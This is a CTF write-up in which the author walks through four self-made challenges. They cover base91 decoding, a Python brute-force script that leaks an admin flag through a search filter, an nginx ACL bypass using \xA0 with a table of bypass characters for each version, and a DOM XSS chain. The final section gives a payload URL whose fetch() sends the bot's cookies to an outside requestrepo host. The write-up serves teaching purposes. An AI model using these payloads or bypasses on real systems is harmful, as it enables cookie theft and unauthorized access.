Post

Penforce CTF

Penforce CTF

In this post, I’m going to share four challenges I created for the Penforce Internship CTF Competition. The goal of these challenges was to give participants hands-on experience with different security concepts, ranging from web vulnerabilities to tricky bypass techniques. Each challenge was designed not only to test problem-solving skills but also to highlight real-world attack surfaces that security professionals often encounter.

Throughout this write-up, I’ll walk through the challenges step by step, explain the thought process behind their design, and share how they can be solved. Whether you’re new to CTFs or already familiar with them, I hope this breakdown gives you both insight and inspiration for creating or solving your own challenges.


Base Instincts

Base Instincts

that was a just warmup challenge, anyway let’s start solving it we start by landing to a page for registration

after signingup and login we see another page to access the something called secret

after that we access anthoer page that has like a some random string in it, it looks encoded or encrypted we don’t know yet but seeing the endpoint name it’s called /hidden-page-91 very strigt forward

by knowing the challenge name and the number in hidden-page-91 let’s search for base91 and try to decode it using that algorithem

and that was the soltion for this challange.


Bru7eFeed

Bru7eFeed

this was a simple and a fun challenge it required some scripting and bruteforcing we sart by landing in a login page Bru7eFeed

and a welcome page Bru7eFeed

after that we some posts from different users and a filter search that takes a 3 char and return anypost that has those 3 charachters Bru7eFeed

the source code is given in the challenge description so let’s see what’s happening there, we have the posts in dict Bru7eFeed

and the route that takes the 3 chars and return the posts

Bru7eFeed

but the function censor_posts returns the admins posts in stars Bru7eFeed

Knowing the flag is stored in an admin post and that the flag uses a known prefix, we can brute-force it. Supply the first two known characters as a prefix and fuzz the unknown third character to discover the rest. we will make a script to autoamte this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://192.168.1.9:4001/posts"
cookies = {"session": "eyJ1c2VyIjoibWVtIn0.aMHTJA.gFCmt-LsXh5K_-gYD6fO8uf9XhA"}

charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"

def has_admin(chars: str) -> bool:
    try:
        r = requests.post(url, cookies=cookies, data={"chars": chars}, timeout=5)
        data = r.json()
        return any(p.get("user") == "admin" for p in data)
    except Exception as e:
        print(f"[!] Error with {chars}: {e}")
        return False

flag = "PCT"   # starting prefix
print("[+] Start:", flag)

while True:
    prefix = flag[-2:]   # last two known chars
    found = None

    with ThreadPoolExecutor(max_workers=10) as executor:  # 10 threads
        futures = {executor.submit(has_admin, prefix + c): c for c in charset}

        for future in as_completed(futures):
            c = futures[future]
            if future.result():
                found = c
                break   # stop as soon as we find the right char

    if not found:
        print("[!] No more chars found, stopping.")
        break

    flag += found
    print(f"[+] Next char: {found} -> {flag}")

    if found == "}":
        print("[*] Done! Flag =", flag)
        break

Bru7eFeed


Ela5der

Ela5der

This was a fun and an intersting challenge to know, first let’s explore the challenge

We start by landing at the home page, no much functionality just registration and login

After loging we still land at the home page and there is nothing more to show so let’s see the source code and see what can be found.

So we check the source to see what the app is doing. In the routes listing we notice an /admin endpoint. It isn’t restricted to specific roles; any authenticated user can access it — which we already are. but..

the app runs behined nginx Hmm, Back to the source code we found a file called Ela5der.conf inside nginx directory

Nginx is forbidding any access to the /admin endpoint — seems very secure, isn’t it? Unfortunately, it’s not.

To prevent security issues on URI-based rules, Nginx performs path normalization before checking them. Path normalization in Nginx refers to the process of transforming and standardizing requested URLs to a consistent and canonical format before handling them. It involves removing redundant or unnecessary elements from the URL path, such as extra slashes, dot segments, processing path traversal, and URL-encoded characters, to ensure uniformity and proper routing within the web server.

There has been research on how Nginx handles rules, specifically how it normalizes certain characters while others remain unaffected. https://blog.bugport.net/exploiting-http-parsers-inconsistencies#heading-nginx-acl-rules

so by knowing that the application is runing a flask application we need to find a charachters that nginx doesn’t normalize but flask does

Nginx Version Flask Bypass Characters

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

the nginx that is runing on the backend is version 1.26.3 but guess what it’s still doesn’t normalize the \xA0

So we will try to send a request like this in burp

GET /admin\xA0  HTTP/1.1


Gimme FLag

This is an interesting XSS challenge that leverages the javascript URI scheme with a restricted open-redirect URL.

let’s register an account and login

after we login we land on a dashboard page it doens’t really have something interesting let’s visit the profile and see what’s there the first thing that comes to your mind is stored xss but no it’s not :”) we have provided the source code let’s see if there is something intresting there is no much intresting about it other than the visit route that takes a url from us and sends it to the bot

the bot takes a url and open a headless browser and sets a cookie in this case is the flag

see we need to find a way to get the xss, Back to the user profile let’s inspect the page

we see that we can update the username using a param called name which will be updated using document.getElementById('displayName').textContent but is it vulnerable to xss ? hmm let’s see

Nope — it’s not that the script gets rendered. Back to the script: we found a parameter called url which is used to redirect users to any other domain. Hmm — thinking of leaving the javascript: scheme, isn’t it? But wait: it’s limited to 15 characters, so there is no way to find a payload under 15 characters that can steal the cookie.

Let’s play a little with what’s in this script using the browser console. since there is no way to put more than 15 chars in the url param and there is already a javascript variables decalred in the script tag we can use them to hold the payload we want to execute and use that variable to trigger this payload the first thing that come to yourmind is eval() right let’s see in console

ok let’s use eval this time but with window.location.href ofc it gave use 404 :”)

let’s try this time javascript: schema

still nothing let’s try it this time with window.location.href="javascript:str" and viooola the payload got triggred.

let’s try to get our own cookie

nice we now got the Dom xss let’s get the bot cookie which conatins the flag by sending http://192.168.1.9:5000/profile/ea7fc763-38d1-4c5d-bd6d-f518602c3e10?name=<script>fetch('https://30xbwg5j.requestrepo.com/'%2bdocument.cookie)</script>&url=javascript:name

and a few seconds later we have our flag :”

and that’s it i hope u enjoyed my lovely challenges can’t wait to create more.

This post is licensed under this blog by the author.